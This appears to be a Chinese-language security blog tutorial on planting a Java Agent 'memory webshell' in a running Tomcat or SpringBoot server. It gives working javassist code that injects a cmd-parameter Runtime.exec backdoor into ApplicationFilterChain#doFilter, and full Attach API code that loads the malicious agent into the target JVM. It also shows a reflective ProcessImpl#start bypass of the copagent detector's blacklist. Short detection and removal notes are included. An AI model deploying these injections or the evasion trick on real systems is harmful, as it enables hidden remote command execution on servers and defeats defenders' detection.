认识JavaAgent

在jdk的rt.jar包中存在一个 java.lang.instrument 包。

java Instrumentation 指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。

一些说明如下:

  • javaagent 是java命令的一个参数,用于指定一个jar包;
  • JavaAgent的使用存在两种方式:premain(JVM启动前加载)和agentmain(JVM启动后加载);

premain和agentmain的函数声明如下所示,拥有 Instrumentation inst 参数的方法优先级更高:

public static void agentmain(String agentArgs, Instrumentation inst) {
    ...
}

public static void agentmain(String agentArgs) {
    ...
}

public static void premain(String agentArgs, Instrumentation inst) {
    ...
}

public static void premain(String agentArgs) {
    ...
}

第一个参数 String agentArgs 就是Java agent的参数。例如 java -jar xxx.jar -javaagent:out\artifacts\menshell_jar\menshell.jar=P1n93r 中的 P1n93r

agentmain方式

这里不讨论premain方式,因为premain方式需要 在启动时指定javaagent参数进行使用 。对于注入内存马来讲,靶机的WEB应用已经启动了,无法再使用premain方式进行注入;

首先明确注入内存马的步骤:

  1. 准备一个agent.jar(agentmain方式),功能就是使用javassist技术修改某个类的字节码,以此添加内存马的功能;
  2. 因为目标系统已经启动了,为了实现启动后加载,可以使用 Attach API 将agent.jar attach到目标JVM中;
  3. agent.jar作为JVM的代理程序成功执行,可以修改某个类的字节码,从而注入内存马。

准备agent.jar

首先准备一个agentmain方式的agent.jar,用来修改Tomcat中的 org.apache.catalina.core.ApplicationFilterChain 类字节码,为其添加webshell的功能;

创建新项目,结构如下所示(忽略其中的 `` ,这个包是其他的测试代码):

其中,类 AgentMainTest 需要实现 agentmain(String agentArgs, Instrumentation instrumentation) 方法;且需要在 src\main\META-INF\MANIFEST.MF 中指定 Agent-Class: AgentMainTest 。如下图所示:

AgentMainTest#agentmain() 中实现对特定类进行字节码修改。在修改之前,先普及一下 Instrumentation 的几个需要用到的方法:

  • Instrumentation#addTransformer(ClassFileTransformer transformer) 方法:从当前时间开始,后续所有的类在进行加载前,需要先经过此方法配置的Transformer来进行字节码转换;
  • retransformClasses(Class<?>... classes) 方法:该方法是JDK1.6后添加的。对于已经加载过的类,可以执行retransformClasses()来重新触发Transformer。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。

所以,一个简单的 AgentMainTest#agentmain() 实现代码如下所示:

接下来就是 ClassFileTransformer 的具体实现了,就是具体的字节码修改逻辑,一个参考如下:

new ClassFileTransformer() {
    @SneakyThrows
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        // 因为获取的keyClass格式为:org/apache/catalina/core/ApplicationFilterChain,转一下
        className = className.replace('/', '.');
        // 找到待修改的目标类
        if (keyClass.equals(className)) {
            System.out.println(":::::::::::::::::::Find Key Class:" + className + ":::::::::::::::::::");
            // 接下来就是使用javassist修改目标类的字节码了
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(classPath);
            }
            CtClass cc = cp.get(className);
            // 修改目标类的doFilter方法
            CtMethod m = cc.getDeclaredMethod("doFilter");
            // 在方法前植入恶意代码
            m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
                    "            javax.servlet.ServletResponse res = response;" +
                    "String cmd = req.getParameter(\"cmd\");\n" +
                    "if (cmd != null) {\n" +
                    "Process process = Runtime.getRuntime().exec(cmd);\n" +
                    "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
                    "new java.io.InputStreamReader(process.getInputStream()));\n" +
                    "StringBuilder stringBuilder = new StringBuilder();\n" +
                    "String line;\n" +
                    "while ((line = bufferedReader.readLine()) != null) {\n" +
                    "stringBuilder.append(line + '\\n');\n" +
                    "}\n" +
                    "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
                    "res.getOutputStream().flush();\n" +
                    "res.getOutputStream().close();\n" +
                    "}");
            byte[] byteCode = cc.toBytecode();
            cc.detach();
            return byteCode;
        }
        return classfileBuffer;
    }
};

逻辑就是:如果当前拦截的类为 org.apache.catalina.core.ApplicationFilterChain ,则使用javassist修改这个类的 doFilter 方法,在方法前添加恶意代码,从而植入webshell。

然后就可以使用IDEA将这个项目打包成jar了:

准备attack agent.jar到目标JVM

前面我们已经准备好了恶意的agent.jar代理包,那么现在就需要将这个agent.jar加载到目标JVM中实现恶意的代理。前面说到,使用官方提供的 Attack API 即可实现。一个参考案例如下:

/**
 * 运行时加载Agent,目标启动JVM后动态注入agent
 */
public static void main(String[] args) {
    // agent.jar的物理路径
    String agentPath = "D:/P1n93r/workspace/menshell/out/artifacts/menshell_jar/menshell.jar";
    // 目标JVM的名称
    String targetJvmDisplayname = "com.pinger.TestMain";
    try {
        java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
        java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
        java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
        add.setAccessible(true);
        add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
        Class<?> myVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
        Class<?> myVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
        java.lang.reflect.Method list = myVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
        java.util.List<Object> invoke = (java.util.List<Object>) list.invoke(null, new Object[]{});
        // 遍历所有JVM
        for (int i = 0; i < invoke.size(); i++) {
            Object o = invoke.get(i);
            java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
            Object name = displayName.invoke(o, new Object[]{});
            System.out.println(String.format("find jvm process name:[[[" +"%s"+"]]]", name.toString()));
            // 找到目标WEB服务器的JVM虚拟机,Tomcat是org.apache.catalina.startup.Bootstrap
            // 寻找准备attach的目标JVM
            if (name.toString().contains(targetJvmDisplayname)) {
                java.lang.reflect.Method attach = myVirtualMachine.getDeclaredMethod("attach", new Class[]{myVirtualMachineDescriptor});
                Object machine = attach.invoke(myVirtualMachine, new Object[]{o});
                java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
                loadAgent.invoke(machine, new Object[]{agentPath});
                java.lang.reflect.Method detach = myVirtualMachine.getDeclaredMethod("detach", new Class[]{});
                detach.invoke(machine, new Object[]{});
                System.out.println("inject tomcat done, break.");
                System.out.println("check url http://localhost:8080/?cmd=whoami");
                break;
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

成果演示

首先我起一个简单的SpringBoot项目,是用IDEA起的,其JVM DisplayName包含: com.pinger.TestMain 字符串(当然,也可以使用PID连接到目标JVM)。

然后运行如下代码(当然,也可以打包成jar来执行),将agent.jar attack到目标JVM:

访问地址 http://[ip]:[port]/?cmd=whoami ,发现内存马已生效:

同时发现目标WEB系统中存在如下日志:

这条日志表明, ApplicationFilterChain 这个类,在SpringBoot启动后,如果没有访问url,此时这个类还没有被加载。此时经过agent.jar中的transform处理,修改其字节码,添加了恶意代码,然后再被加载。

内存马检测

可以参考LandGrey师傅的copagent工具。此外提一嘴,看了下copagent中,检测黑名单命令执行函数有: ProcessBuildergetRuntime 。此时我们可以使用 java.lang.ProcessImpl#start() 进行绕过,如下所示:

Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class,String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(null, new String[]{"calc"}, null, null, null, false);

内存马卸载

对于这种方式添加的内存马,在不重启的情况下。我觉得可以采用注入内存马同样的方式,在已知正常的代码(剔除恶意代码后的代码)的情况下,将正常的代码重新注入且覆盖( CtMethod#setBody() 的方式)到目标方法。

参考链接